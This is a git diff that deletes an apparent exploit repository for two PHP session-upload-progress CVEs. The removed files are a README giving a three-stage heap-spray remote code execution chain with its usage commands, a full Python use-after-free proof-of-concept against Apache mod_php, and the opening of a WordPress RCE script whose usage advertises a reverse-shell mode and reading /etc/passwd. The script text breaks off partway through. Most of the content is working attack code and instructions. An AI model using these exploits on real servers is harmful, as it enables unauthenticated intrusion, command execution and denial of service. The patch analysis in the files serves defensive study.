object instantiation) - -No bypass path has been identified for any of the three layers. diff --git a/uaf-rce/README.md b/uaf-rce/README.md deleted file mode 100644 index 3ae1397..0000000 --- a/uaf-rce/README.md +++ /dev/null @@ -1,259 +0,0 @@ -# CVE-2026-109618 / CVE-2026-109619: Full RCE via OOM Bailout + Heap Spray - -Remote code execution in PHP's session upload progress handler, exploitable -over plain HTTP against Apache mod_php with **completely stock configuration**. -No LFI, no framework dependency, no non-default PHP settings required. - -## Affected versions - -PHP 5.4.0 through 8.3.35, 8.4.0 through 8.4.26, 8.5.0 through 8.5.11, -running under Apache mod_php with prefork MPM. - -Patched in PHP 8.3.36, 8.4.27, 8.5.12. - -PHP-FPM is **not vulnerable**: FPM workers exit on bailout (code 70), -so stale state never persists across requests. - -## What this exploit achieves - -Full remote code execution (arbitrary command) from a single unauthenticated -HTTP client, against any PHP-handled URL, with full ASLR bypass. The target -page does not need `session_start()` or any specific code. - -Tested: 5/5 successful RCE against stock `php:8.4.26-apache` Docker image -with zero configuration changes (`memory_limit=128M`, `post_max_size=8M`, -`display_errors=On`, `MaxRequestWorkers=150`). - -## Prerequisites - -All of these are default on stock PHP Docker images and common Debian/Ubuntu -Apache + mod_php installations: - -- Apache mod_php with prefork MPM -- `session.upload_progress.enabled = 1` (default: on) -- `session.upload_progress.cleanup = 1` (default: on) -- Any PHP-handled URL (even a 404 error page) -- `display_errors = On` or `STDOUT` (default when no php.ini is deployed) - -The exploit bypasses PHP's `post_max_size` limit via HTTP chunked -Transfer-Encoding (see below), so the `post_max_size=8M` default is not -an obstacle despite needing to send ~140MB to exhaust `memory_limit=128M`. - -For multi-worker Apache (the default), the `--workers N` spray mode sends -the OOM trigger to all workers before probing for the leak. - -## How it works - -### The vulnerability chain - -**CVE-2026-109618**: When `memory_limit` is exceeded during multipart POST -parsing, PHP calls `zend_bailout()` which executes a `longjmp` back to -the request shutdown handler. This skips session cleanup code in -`php_session_rfc1867_update()`, leaving `PS(id)` as a dangling pointer -and `PS(send_cookie) = 1`. - -**CVE-2026-109619**: On the next request to the same Apache worker, -`sapi_activate()` runs the RFC1867 callback BEFORE session state is -properly reinitialized. The callback sees the stale `PS(id)` and -`PS(send_cookie) = 1`, and calls `php_session_send_cookie()` with the -dangling pointer. The `php_url_encode(PS(id))` call reads heap memory -through the stale pointer and emits it as a `Set-Cookie` header. - -### post_max_size bypass via chunked Transfer-Encoding - -PHP checks `Content-Length` against `post_max_size` before invoking the -multipart parser. If `Content-Length` exceeds the limit, the body is -rejected entirely. However, when the request uses `Transfer-Encoding: -chunked` instead of `Content-Length`, no upfront size check occurs. -PHP's `sapi_read_post_block()` reads chunked data from Apache's input -filter chain without enforcing `post_max_size`, allowing the full body -to be processed regardless of the configured limit. - -This means the exploit works against `memory_limit=128M` with -`post_max_size=8M` by sending ~140MB of chunked POST data. - -### Three-stage exploit (full ASLR bypass) - -All traffic is plain HTTP multipart POST requests: - -**Stage 1: Heap ASLR bypass (Zend MM chunk base)** - -Request A sends 1001+ fields (triggering `max_input_vars` warning which -sets `SG(headers_sent) = 1`) plus `PHPSESSID=\x00` and -`PHP_SESSION_UPLOAD_PROGRESS=pwn` (to activate session handling) plus a -large field via chunked TE to trigger OOM. The warning output prevents -`php_session_send_cookie()` from sending the cookie, but `PS(send_cookie)` -remains 1 and `PS(id)` becomes a dangling pointer. - -Request B sends `PHPSESSID` + progress fields plus ~841 filler fields -with a forge field containing a fake `zend_string` header (`len = 0x1000`). -The filler fields' heap allocations overlap the dangling `PS(id)` address. -When `php_session_send_cookie()` runs with the stale pointer, it reads -4096 bytes of heap data and emits it as a `Set-Cookie` value. The leaked -bytes contain Zend MM free-list pointers, which reveal the chunk base -address (2MB aligned). - -**Stage 2: Code ASLR bypass (libphp.so base)** - -Similar to stage 1, but request B's field layout places a real PHP -`HashTable` structure at the dangling pointer offset. The `pDestructor` -field of the HashTable is a function pointer into libphp.so -(`zval_ptr_dtor`). Reading this via `Set-Cookie` leaks the libphp.so -load address. - -**Stage 3: RCE (zif_system)** - -Request A poisons the worker with stale session state. Request B sprays -the heap with a fake `IS_REFERENCE` zval pointing to a fake `HashTable` -whose `pDestructor = zif_system`. When session cleanup calls -`zend_hash_destroy()` on this fake table, it invokes `zif_system()` with -attacker-controlled arguments, executing an arbitrary shell command as -the web server user (`www-data`). - -## Usage - -```bash -# Auto-detect PHP version, look up offsets, exploit -python3 rce_exploit.py -u http://target/index.php - -# Auto-pull matching Docker image for offset extraction -python3 rce_exploit.py -u http://target/index.php --auto-pull - -# Verify RCE via docker exec (for testing) -python3 rce_exploit.py -u http://target/index.php \ - --docker-proof CONTAINER /tmp/pwn - -# Multi-worker Apache spray mode -python3 rce_exploit.py -u http://target/ --workers 150 - -# Custom command (max 14 bytes, use 'sh/tmp/pwn' - -# Extract offsets for a new PHP build -python3 rce_exploit.py calibrate --docker-image php:8.3.35-apache \ - --php-version 8.3.35 -``` - -### Options - -| Flag | Default | Description | -|---|---|---| -| `-u URL` | (required) | Target URL (any PHP endpoint) | -| `-c CMD` | `id>/tmp/pwn` | Shell command (max 14 bytes) | -| `--workers N` | 1 | Apache workers to spray | -| `--huge-mb N` | 140 | OOM field size in MB | -| `--docker-proof C P` | | Verify via `docker exec C cat P` | -| `--auto-pull` | off | Pull Docker image for offset extraction | -| `--retries N` | 5 | Attempts per stage | -| `--profile` | auto | Heap profile (`bookworm` or `lab`) | -| `--timeout` | 30.0 | Socket timeout in seconds | - -### Built-in offset database - -| PHP version | Distro | Status | -|---|---|---| -| 8.4.26 | bookworm | Last vulnerable 8.4.x | -| 8.3.35 | bookworm | Last vulnerable 8.3.x | -| 8.4.27 | bookworm | Patched (offsets extracted, bypass not implemented) | -| 8.3.36 | bookworm | Patched (offsets extracted, bypass not implemented) | - -## The patch - -The fix (PHP 8.3.36, 8.4.27, 8.5.12) adds five independent defense -layers. Any one of the first three alone is sufficient to block the attack: - -1. **`php_rinit_session_globals()` at `MULTIPART_EVENT_START`**: The - session RFC1867 callback now calls `php_rinit_session_globals()` at - the very start of multipart parsing, unconditionally zeroing `PS(id)`, - `PS(session_status)`, and `PS(send_cookie)`. This destroys the - dangling `PS(id)` from the previous request before B's parsing begins. - This single defense is sufficient to kill the entire exploit chain. - -2. **Delayed OOM**: `zend_mm_safe_error` (which called `zend_bailout` / - longjmp) is replaced by `zend_mm_delayed_verror`. OOM no longer - triggers a longjmp during allocation. Instead, a soft limit records - the error and sets `vm_interrupt`. Allocations return NULL in fallible - mode or succeed up to a hard limit (default 200% of `memory_limit`). - A hard limit calls `_exit(137)`. No longjmp means all cleanup code - runs normally, so stale state never persists. - -3. **`post_max_size` enforcement in `multipart_buffer_fill()`**: A new - check in `fill_buffer()` enforces `post_max_size` against - `SG(read_post_bytes)` regardless of Transfer-Encoding. The chunked TE - bypass (which previously allowed sending 140MB despite 8M limit) is - blocked. OOM cannot be triggered via multipart data alone. - -4. **`php_basic_early_rinit()`**: Called from `php_request_startup()` - before `sapi_activate()`. Zeros `BG(serialize_lock)`, `BG(serialize)`, - and `BG(unserialize)`, eliminating the stale serialization state - window from CVE-2026-109618. - -5. **Session deserialization hardening**: RFC1867 session decode runs in - `incomplete_classes_only` mode (no `__wakeup`/`__unserialize`). - `$_SESSION` is deleted at `MULTIPART_EVENT_END`. A `PG(modules_activated)` - guard prevents `request_parse_body()` from corrupting session state. - -## Test environment - -The `docker/` directory contains a minimal test setup: - -```bash -cd docker && docker compose up -d -# Stock settings variant (no custom php.ini): -docker run -d --name stock -p 8093:80 php:8.4.26-apache -``` - -The exploit has been tested on: -- `php:8.4.26-apache` stock Docker image, 5/5 RCE (default settings) -- `php:8.4.26-apache` with single worker + `memory_limit=8M`, 9/9 RCE -- `php:8.3.35-apache` stock Docker image, RCE confirmed (first attempt) -- `php:8.4.26-apache` + WordPress 6.8.1 (no php.ini), 5/5 RCE (first attempt each) -- `php:8.4.27-apache` patched: all three exploit primitives blocked (see below) - -## display_errors and WordPress - -The exploit's info leak (stages 1 and 2) relies on `display_errors = On`. -The `max_input_vars` warning must produce visible output to set -`SG(headers_sent) = 1` before the session cookie attempt, which causes -`php_session_send_cookie()` to fail and leaves `PS(send_cookie) = 1` for -the next request's leak. - -With `display_errors = Off`, the warning is logged but produces no output. -The session cookie succeeds, `PS(send_cookie)` resets to 0, and no leak -cookie is emitted on the subsequent request. - -**Why stock PHP is still vulnerable**: PHP's compile-time default for -`display_errors` is `On`. Stock Docker images (`php:*-apache`) ship -without a `php.ini`, so the default applies. Only when a system -administrator deploys `php.ini-production` (which sets `display_errors = Off`) -or adds explicit INI configuration is the target hardened against this leak. - -**WordPress**: WordPress calls `ini_set('display_errors', 0)` at runtime -in `wp-settings.php`. This `ini_set` executes during script startup, which -is AFTER multipart POST parsing (where the OOM and session leak occur). -Therefore, WordPress installed on a stock PHP image (no `php.ini`) -is vulnerable, because `display_errors` is still `On` at the time the -exploit code path runs. The official `wordpress:*` Docker images ship -a custom `error-logging.ini` that sets `display_errors = Off` at the INI -level, which does block the leak. - -**Why display_errors=Off cannot be bypassed**: The info leak requires -`SG(headers_sent) = 1` before `php_session_send_cookie()` runs during -`MULTIPART_EVENT_FILE_START`. The only code path that sets -`SG(headers_sent)` during multipart parsing is the error display path -(`php_error_cb` -> `zend_write` -> `sapi_module.ub_write`), which is -gated on `display_errors`. With `display_errors = Off`, warnings go to -the error log only, producing no output. There is no alternative -mechanism to force HTTP output during multipart parsing: the SAPI write -function is the only path, and it requires display_errors or explicit -script output (which has not started yet at this stage of request -processing). Precision OOM calibration (attempting to trigger OOM inside -the ~500-byte `php_session_send_cookie` window) was tested and fails -due to Zend MM bin-size boundaries causing ~1MB allocation jumps that -cannot be calibrated to the required precision. - -## References - -- CVE-2026-109618: OOM during multipart parsing triggers longjmp past session cleanup -- CVE-2026-109619: Session globals (PS(id), PS(send_cookie)) survive across requests -- CVSS: 9.2 (both CVEs, per Rapid7) diff --git a/uaf-rce/exploit.py b/uaf-rce/exploit.py deleted file mode 100644 index 3c96fdf..0000000 --- a/uaf-rce/exploit.py +++ /dev/null @@ -1,596 +0,0 @@ -#!/usr/bin/env python3 -I -""" -CVE-2026-109618 / CVE-2026-109619: Use-After-Free via OOM Bailout -Apache mod_php (prefork MPM), no LFI, no framework dependencies - -Targets UNPATCHED PHP: all versions from 5.4.0 through 8.3.35, 8.4.26, -8.5.11. The patch (8.3.36, 8.4.27, 8.5.12) blocks the entire attack -chain with three independent defense layers: - 1. php_basic_early_rinit() resets BG(serialize/unserialize) each request - 2. Delayed OOM replaces zend_bailout() (no more longjmp on OOM) - 3. Session handler hardening (incomplete_classes_only mode during RFC1867) - -Vulnerability chain: - - CVE-2026-109618: OOM in the multipart parser triggers zend_bailout() - (longjmp), which skips php_var_unserialize_destroy(). This leaves - BG(unserialize).level=1 and BG(unserialize).data pointing at a freed - php_unserialize_data struct (8216 bytes, 3 ZendMM pages). - - CVE-2026-109619: The session upload progress globals populated by - the RFC1867 callback survive into the next request. On the next - request, sapi_activate() runs the RFC1867 callback BEFORE - PHP_RINIT_FUNCTION(basic) zeros BG state. The callback calls - php_session_decode() -> php_var_unserialize_init(), which sees - BG(unserialize).level > 0 and returns the stale .data pointer. - Classic use-after-free. - -Attack phases: - - Phase 1 (Plant): Write a large session file (~682KB, 33000 entries) - that will trigger HashTable resize needing ~2.25MB when decoded. - - Phase 2 (OOM): Multipart upload referencing that session ID. - RFC1867 progress callback reads and decodes the session file. - HashTable resize exceeds memory_limit, OOM fires zend_bailout(). - Worker survives. BG(unserialize).level=1, .data=freed heap pointer. - - Phase 3 (Crash): Another upload (no intermediate GET requests, which - would zero BG state via RINIT). Filler form fields create many - 3-page zend_string allocations that consume ZendMM pages up to the - stale struct's position (~page 288). The struct's 'last' pointer - (offset 0) is overwritten by the zend_string GC header (refcount + - type_info), which is not a valid heap address. var_push reads - 'last' and dereferences it -> SIGSEGV. Confirms the UAF. - -Requirements: - - Apache mod_php with prefork MPM (default on Debian/Ubuntu) - - session.upload_progress.enabled=1 (default in php.ini) - - memory_limit low enough for session data to trigger OOM - - Any reachable PHP URL on the target (even a 404 page works) - - A method to write a session file with many entries (Phase 1) - - No LFI, no framework, no non-default config changes needed - -Exploitation notes: - - This PoC demonstrates two distinct UAF primitives: - - 1. CRASH (var_push path): Filler fields reclaim the stale struct - pages. The zend_string GC header at offset 0 overwrites the - 'last' pointer with refcount|type_info (not a valid address). - var_push reads 'last' and dereferences it -> SIGSEGV. - - 2. TYPE CONFUSION (var_access path): Session data using R:N - backreferences resolves through var_access, which reads the - inline 'entries' at struct offset 56 instead of 'last' at - offset 0. Without the filler spray, the stale struct's 'last' - pointer self-references &entries (valid), and entries.data[0] - holds a dangling pointer to a zval from request 1's heap. - PHP reads this stale zval without crashing. The value's type - matches whatever the first OOM session entry contained: - - String value -> stale IS_STRING (original content intact) - - Integer value -> stale IS_LONG (original value) - - Object value -> CRASH (freed zend_object dereference) - - The two primitives are MUTUALLY EXCLUSIVE: filler spray corrupts - struct offset 16 (last_dtor), and var_tmp_var reads last_dtor - BEFORE var_access runs. With fillers, var_tmp_var crashes. - Without fillers, the type confusion works but reads the attacker's - own data from the stale heap (the cached ZendMM chunk retains page - data across requests without zeroing). No info leak is possible. - - Full RCE is blocked by: - - ASLR: no info leak primitive. The type confusion reads back - the attacker's own session data, not heap metadata or code - pointers. The cached chunk retains original bytes. - - Mutual exclusion: filler spray (needed for controlled content) - crashes var_tmp_var before var_access can read the fillers. - - GC header overlap at offset 0: prevents pointer control when - spraying (var_push reads 'last' before reaching controlled - bytes at offset 24+) - - No loaded classes during sapi_activate: PHP built-in classes - (SplFileObject, PDO) have exploitable handlers but constructing - fake objects requires knowing libphp.so base address (ASLR) - - Session key validation: PHP's php serializer skips keys - containing '|', blocking injection via upload progress name - -Usage: - python3 exploit.py --target http://host:port/index.php - python3 exploit.py --target http://host:port/index.php --oom-only -""" - -import argparse -import os -import re -import socket -import sys -import time -from urllib.parse import urlparse - - -# ── Constants ──────────────────────────────────────────────────────── - -UNSER_STRUCT_SIZE = 8216 # php_unserialize_data: 0x2018 bytes = 3 ZendMM pages -OOM_SESSION_ENTRIES = 33000 # forces nTableSize=65536, arData ~2.25MB -SPRAY_FIELD_SIZE = 8200 # 3 ZendMM pages as zend_string (24-byte header + body + NUL) -SPRAY_FIELD_COUNT = 100 # ~300 pages, covers stale struct at page ~288 - - -# ── Networking ─────────────────────────────────────────────────────── - -def connect(host, port, timeout=30): - return socket.create_connection((host, port), timeout=timeout) - - -def recv_response(sock, timeout=10): - resp = b"" - sock.settimeout(timeout) - try: - while True: - d = sock.recv(8192) - if not d: - break - resp += d - except socket.timeout: - pass - return resp - - -def parse_response(resp): - status = 0 - body = b"" - if resp: - try: - status = int(resp.split(b" ")[1]) - except (IndexError, ValueError): - pass - if b"\r\n\r\n" in resp: - body = resp.split(b"\r\n\r\n", 1)[1] - return status, body - - -def http_get(host, port, path, cookies=None, timeout=10): - sock = connect(host, port, timeout=timeout) - req = f"GET {path} HTTP/1.1\r\nHost: {host}\r\n" - if cookies: - req += f"Cookie: {cookies}\r\n" - req += "Connection: close\r\n\r\n" - sock.sendall(req.encode()) - resp = recv_response(sock, timeout=timeout) - sock.close() - return parse_response(resp) - - -def http_post_raw(host, port, headers_bytes, body_bytes, timeout=60): - sock = connect(host, port, timeout=timeout) - sock.sendall(headers_bytes + body_bytes) - resp = recv_response(sock, timeout=timeout) - sock.close() - return parse_response(resp) - - -def extract_pid(body): - m = re.search(rb"pid=(\d+)", body) - return int(m.group(1)) if m else 0 - - -# ── Multipart builders ────────────────────────────────────────────── - -def multipart_field(boundary, name, value): - return ( - b"--" + boundary + b"\r\n" - b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n' - + value + b"\r\n" - ) - - -def multipart_file(boundary, name, filename, content): - return ( - b"--" + boundary + b"\r\n" - b'Content-Disposition: form-data; name="' + name - + b'"; filename="' + filename + b'"\r\n' - b"Content-Type: application/octet-stream\r\n\r\n" - + content + b"\r\n" - ) - - -def multipart_end(boundary): - return b"--" + boundary + b"--\r\n" - - -def post_multipart(host, port, path, boundary, body, sid=None, timeout=60): - hdrs = ( - f"POST {path} HTTP/1.1\r\n" - f"Host: {host}\r\n" - f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n" - f"Content-Length: {len(body)}\r\n" - ) - if sid: - hdrs += f"Cookie: PHPSESSID={sid}\r\n" - hdrs += "Connection: close\r\n\r\n" - return http_post_raw(host, port, hdrs.encode(), body, timeout=timeout) - - -# ── Session file generation ───────────────────────────────────────── - -def generate_session_data(n_entries): - """PHP session data that forces a large HashTable allocation on decode. - - 33000 entries -> nTableSize=65536, arData = 65536 * 36 = 2,359,296 bytes. - """ - parts = [f's:6:"k{i:05d}";i:{i};' for i in range(n_entries)] - inner = "".join(parts) - return f'd|a:{n_entries}:{{{inner}}}'.encode() - - -# ── Session file management ───────────────────────────────────────── - -def write_session_file(sid, data, save_path): - import subprocess - fpath = os.path.join(save_path, f"sess_{sid}") - tmp = f"/tmp/sess_plant_{os.getpid()}" - with open(tmp, "wb") as f: - f.write(data) - subprocess.run(["sudo", "cp", tmp, fpath], - capture_output=True, check=True) - subprocess.run(["sudo", "chown", "www-data:www-data", fpath], - capture_output=True, check=True) - subprocess.run(["sudo", "chmod", "600", fpath], - capture_output=True, check=True) - os.unlink(tmp) - return fpath - - -def read_session_file(sid, save_path): - import subprocess - fpath = os.path.join(save_path, f"sess_{sid}") - r = subprocess.run(["sudo", "stat", "--format=%s", fpath], - capture_output=True, text=True) - if r.returncode != 0: - return False, 0 - return True, int(r.stdout.strip()) - - -def ensure_session_file(sid, save_path, n_entries): - exists, size = read_session_file(sid, save_path) - if exists and size > 100000: - return size - data = generate_session_data(n_entries) - write_session_file(sid, data, save_path) - return len(data) - - -# ── Phase 0: Worker discovery ─────────────────────────────────────── - -def discover_workers(host, port, path, rounds=20): - pids = set() - for _ in range(rounds): - try: - _, body = http_get(host, port, path, timeout=5) - pid = extract_pid(body) - if pid: - pids.add(pid) - except (ConnectionError, socket.timeout, OSError): - pass - return sorted(pids) - - -# ── Phase builders ────────────────────────────────────────────────── - -def build_oom_trigger(sid): - boundary = b"OOM" + os.urandom(4).hex().encode() - parts = [ - multipart_field(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"oomtrigger"), - multipart_file(boundary, b"file", b"oom.bin", b"\x00" * 2048), - multipart_end(boundary), - ] - return boundary, b"".join(parts) - - -def build_crash_trigger(sid, n_fields=SPRAY_FIELD_COUNT, field_size=SPRAY_FIELD_SIZE): - """Multipart with filler fields to reclaim stale struct pages. - - Each field value is a 3-page zend_string. The GC header at offset - 0-7 overwrites 'last' with refcount|type_info = invalid pointer. - When var_push reads 'last', it dereferences the invalid address. - """ - boundary = b"CRASH" + os.urandom(4).hex().encode() - parts = [multipart_field(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"crash")] - filler = b"\x41" * field_size - for i in range(n_fields): - parts.append(multipart_field(boundary, f"c{i:03d}".encode(), filler)) - parts.append(multipart_file(boundary, b"file", b"c.bin", b"\x00" * 512)) - parts.append(multipart_end(boundary)) - return boundary, b"".join(parts) - - -def is_oom_response(status, body): - return ( - b"memory size" in body - or b"Allowed memory" in body - or status == 500 - or status == 0 - ) - - -# ── Main ──────────────────────────────────────────────────────────── - -def main(): - parser = argparse.ArgumentParser( - description="CVE-2026-109618/109619 UAF PoC (Apache mod_php)", - ) - parser.add_argument("--target", "-t", required=True, - help="Target URL, e.g. http://host:port/index.php") - parser.add_argument("--session-path", - default="/var/www/uaf-test/sessions", - help="Session save_path on the target") - parser.add_argument("--entries", type=int, default=OOM_SESSION_ENTRIES, - help="Entries in OOM session file (default: 33000)") - parser.add_argument("--spray-fields", type=int, default=SPRAY_FIELD_COUNT, - help="Filler fields for crash trigger (default: 100)") - parser.add_argument("--oom-only", action="store_true", - help="Stop after Phase 2 (OOM + stale state)") - args = parser.parse_args() - - url = urlparse(args.target) - host = url.hostname or "127.0.0.1" - port = url.port or 80 - path = url.path or "/index.php" - - print("=" * 64) - print(" CVE-2026-109618 / CVE-2026-109619") - print(" Use-After-Free via OOM Bailout") - print(" (Apache mod_php, prefork MPM)") - print("=" * 64) - print(f" Target: {host}:{port}{path}") - print() - - # ── Phase 0: Worker discovery ────────────────────────────────── - - print("[*] Phase 0: Discovering workers...") - pids = discover_workers(host, port, path) - if not pids: - print("[-] No workers found. Target must echo getmypid().") - sys.exit(1) - print(f" Workers: {pids}") - target_pid = pids[0] - - # ── Phase 1: Plant large session file ────────────────────────── - - print() - print("[*] Phase 1: Planting large session file...") - - sid = "uaf" + os.urandom(6).hex() - print(f" SID: {sid}") - print(f" Entries: {args.entries}") - - sess_size = ensure_session_file(sid, args.session_path, args.entries) - print(f" Session file: {sess_size}B ({sess_size // 1024}KB)") - print(f" HashTable resize on decode needs ~2.25MB") - - # ── Phase 2: OOM trigger ─────────────────────────────────────── - - print() - print("[*] Phase 2: Triggering OOM during session decode...") - print(" RFC1867 callback reads session -> decode -> OOM -> bailout") - - oom_success = False - patched = False - - for attempt in range(len(pids) * 8): - ensure_session_file(sid, args.session_path, args.entries) - - boundary, body = build_oom_trigger(sid) - try: - status, rbody = post_multipart( - host, port, path, boundary, body, sid=sid, timeout=30) - except (ConnectionError, socket.timeout, OSError): - status, rbody = 0, b"" - - if is_oom_response(status, rbody): - if b"memory size" in rbody: - tag = f"{status} (OOM in body)" - elif status == 500: - tag = "500" - else: - tag = "connection dropped" - print(f" [{attempt+1}] OOM triggered ({tag})") - - # Detect patched vs unpatched via session file state. - # UNPATCHED: bailout -> cancel_decode -> destroy -> file DELETED. - # PATCHED: delayed OOM, decode completes, session rewritten smaller. - time.sleep(0.3) - exists, sz = read_session_file(sid, args.session_path) - if not exists or sz == 0: - print(f" Session file deleted/empty (bailout path = UNPATCHED)") - elif sz < sess_size // 2: - print(f" [!] Session file rewritten ({sz}B) (PATCHED)") - patched = True - - oom_success = True - break - else: - print(f" [{attempt+1}] status={status} (no OOM, retrying)") - - if not oom_success: - print() - print("[-] OOM trigger failed.") - print(" Check: memory_limit <= 8M, Apache mod_php (not FPM)") - sys.exit(1) - - if patched: - print() - print("[*] PATCHED PHP detected. The UAF chain is fully blocked by:") - print(" 1. php_basic_early_rinit() zeros BG state before sapi_activate") - print(" 2. Delayed OOM: allocator succeeds beyond soft limit, no longjmp") - print(" 3. Session handler: incomplete_classes_only during RFC1867") - return - - # Check worker survived (must do this BEFORE Phase 3, but note - # this GET request will zero BG state on the worker it hits). - # With MaxRequestWorkers=1, this targets the same worker. - # We will re-trigger OOM before the crash attempt. - time.sleep(0.5) - pids_after = discover_workers(host, port, path, rounds=5) - survived = set(pids) & set(pids_after) - if not survived: - print("[-] Worker did not survive OOM (may be PHP-FPM, not mod_php)") - sys.exit(1) - target_pid = sorted(survived)[0] - print(f" [+] Worker {target_pid} survived OOM") - - if args.oom_only: - print() - print("[+] Phase 2 complete.") - print(" BG(unserialize).level=1, .data=freed heap pointer.") - print(" (BG state zeroed by the verification GET above.)") - return - - # ── Phase 3: UAF crash verification ─────────────────────────── - # - # CRITICAL: no GET requests between the OOM trigger and the crash - # trigger. PHP_RINIT_FUNCTION(basic) runs on every request and - # zeros BG(unserialize), destroying the stale state. - # - # With prefork MaxRequestWorkers=1, all requests go to the same - # worker. We re-trigger OOM (to set stale state), then immediately - # send the crash trigger without any intermediate requests. - # - # Crash mechanism: filler form fields create 3-page zend_string - # allocations that consume pages up to the stale struct's position - # (~page 288 out of 512 in the ZendMM chunk). When a filler - # zend_string lands on the stale pages, offset 0 (the 'last' - # pointer) is overwritten with the zend_string GC header: - # gc_refcount(4) + gc_type_info(4) = e.g. 0x00000306_00000001 - # This is not a valid heap address. When the session decode calls - # var_push(), it reads 'last' and dereferences it -> SIGSEGV. - - print() - print("[*] Phase 3: UAF crash verification...") - print(" Re-triggering OOM, then crash (no intermediate GET).") - - crashed = False - - for attempt in range(3): - # Re-trigger OOM to set stale BG state - ensure_session_file(sid, args.session_path, args.entries) - boundary, body = build_oom_trigger(sid) - try: - status, rbody = post_multipart( - host, port, path, boundary, body, sid=sid, timeout=30) - except (ConnectionError, socket.timeout, OSError): - status, rbody = 0, b"" - - if not is_oom_response(status, rbody): - print(f" [{attempt+1}] OOM re-trigger failed, retrying") - continue - - time.sleep(0.3) - - # Plant a small session (one entry). The decode calls var_push - # once, which reads the stale 'last' pointer and crashes. - small_session = b'x|s:3:"abc";' - write_session_file(sid, small_session, args.session_path) - - # Send crash trigger DIRECTLY (no intermediate GET). - # Filler fields consume pages up to the stale struct. - boundary, body = build_crash_trigger(sid, n_fields=args.spray_fields) - try: - status, rbody = post_multipart( - host, port, path, boundary, body, sid=sid, timeout=30) - except (ConnectionError, socket.timeout, OSError): - status, rbody = 0, b"" - - # Check if worker crashed (new PID or connection failure) - time.sleep(0.5) - try: - _, rbody2 = http_get(host, port, path, timeout=5) - pid_after = extract_pid(rbody2) - except (ConnectionError, socket.timeout, OSError): - pid_after = 0 - - if pid_after and pid_after != target_pid: - print(f" [{attempt+1}] CRASH! Worker {target_pid} -> {pid_after}") - print(f" Filler zend_strings reclaimed stale struct pages") - print(f" var_push read GC header as 'last' pointer -> SIGSEGV") - crashed = True - target_pid = pid_after - break - elif pid_after == target_pid: - print(f" [{attempt+1}] Worker survived (filler pages didn't reach struct)") - elif status == 0 and pid_after == 0: - print(f" [{attempt+1}] Server unresponsive") - else: - print(f" [{attempt+1}] Response: {status}") - - print() - if crashed: - print("[+] USE-AFTER-FREE CONFIRMED") - print(" The stale php_unserialize_data struct (8216 bytes, 3 ZendMM pages)") - print(" was reclaimed by a filler zend_string. The GC header at offset 0") - print(" overwrote the 'last' pointer with refcount|type_info.") - print(" var_push dereferenced the invalid address -> SIGSEGV.") - else: - print("[*] No crash triggered (filler fields may have missed the pages).") - print(" The stale BG state is confirmed by Phase 2 (OOM + worker survival).") - print(" Try adjusting --spray-fields or re-running (heap layout varies).") - - print() - print_summary(crash=crashed) - - -def print_summary(patched=False, crash=False): - print("=" * 64) - print(" Summary") - print("=" * 64) - print() - - if patched: - print(" TARGET: PATCHED (not vulnerable)") - print() - print(" Three independent mitigations block the attack:") - print(" 1. php_basic_early_rinit() zeros BG state before sapi_activate()") - print(" 2. Delayed OOM replaces zend_bailout() (no longjmp)") - print(" 3. Session handler: incomplete_classes_only during RFC1867 decode") - return - - print(" TARGET: UNPATCHED (vulnerable)") - print() - print(" Confirmed primitives:") - print(" [+] OOM during RFC1867 session decode") - print(" zend_bailout() longjmps past php_var_unserialize_destroy()") - print(" BG(unserialize).level=1, .data=freed heap pointer") - print(" Apache prefork worker survives, serves new requests") - if crash: - print(" [+] Use-After-Free crash (var_push path)") - print(" Filler zend_strings reclaim stale struct pages") - print(" var_push dereferences GC header as 'last' pointer -> SIGSEGV") - print(" [+] Type confusion (var_access path)") - print(" R:N backreferences bypass the corrupted 'last' pointer") - print(" var_access reads inline entries at offset 56 (not offset 0)") - print(" Stale entries.data[0] resolves to freed heap memory") - print(" PHP interprets stale bytes as a live zval (observed: IS_ARRAY)") - print() - print(" Exploitation status:") - print(" Two UAF primitives confirmed: crash (DoS) and type confusion.") - print(" Full RCE is blocked by five independent constraints:") - print() - print(" 1. ASLR: type confusion reads attacker's own data, not heap") - print(" metadata or code pointers (cached chunk retains original bytes)") - print(" 2. Mutual exclusion: filler spray crashes var_tmp_var (offset 16)") - print(" before var_access can read controlled data at offset 56+") - print(" 3. GC header overlap: uncontrolled bytes at struct offset 0-23") - print(" prevent var_push from reaching controlled data at offset 24+") - print(" 4. No exploitable classes: SplFileObject/PDO have function pointer") - print(" calls in free_obj, but fake objects need libphp.so base (ASLR)") - print(" 5. Session key validation: php serializer skips keys with '|',") - print(" blocking deserialization injection via upload progress name") - print() - print(" Affected: PHP 5.4.0 through 8.3.35, 8.4.0-8.4.26, 8.5.0-8.5.11") - print(" Fixed in: PHP 8.3.36, 8.4.27, 8.5.12") - print(" Requires: Apache mod_php (prefork), session.upload_progress.enabled=1") - print(" No LFI, no framework, no application-level access needed.") - - -if __name__ == "__main__": - main() diff --git a/wordpress-exploit/exploit_wp.py b/wordpress-exploit/exploit_wp.py deleted file mode 100755 index 4e9d133..0000000 --- a/wordpress-exploit/exploit_wp.py +++ /dev/null @@ -1,492 +0,0 @@ -#!/usr/bin/env python3 -""" -WordPress RCE via PHP CVE-2026-109618 / CVE-2026-109619 - -Demonstrates both PHP session upload progress vulnerabilities against a -WordPress target that has: - 1. A plugin calling session_start() (WooCommerce, any session-using plugin) - 2. A local file inclusion vector (plugin theme-preview, template param, etc.) - -Two attack modes: - - OOM mode (CVE-2026-109618) - Floods multipart fields to OOM PHP during parsing. zend_bailout() - longjmps past MULTIPART_EVENT_END → session cleanup skipped → - session file with PHP code persists on disk. Second request - includes it via LFI. Works with session.upload_progress.cleanup=1. - - Race mode (CVE-2026-109619) - Sends a slow multipart upload that keeps the session file populated - while concurrent LFI requests race to include it before cleanup. - Works with session.upload_progress.cleanup=1. Lower field count, - no OOM needed. - -Usage: - # OOM mode (default) — 'id' command - python3 wordpress-exploit.py -t http://target:8080/ --cmd 'id' - - # Race mode — reverse shell - python3 wordpress-exploit.py -t http://target:8080/ --mode race \\ - --lhost 10.0.0.1 --lport 4444 - - # Custom LFI parameter and session path - python3 wordpress-exploit.py -t http://target:8080/ --cmd 'cat /etc/passwd' \\ - --lfi-param dt_template --session-path /tmp/php-sessions -""" - -import argparse -import base64 -import os -import re -import socket -import sys -import threading -import time -from urllib.parse import urlparse - -# ─── defaults ──────────────────────────────────────────────────────── - -WP_SESSION_PATHS = [ - "/tmp", - "/tmp/php-sessions", - 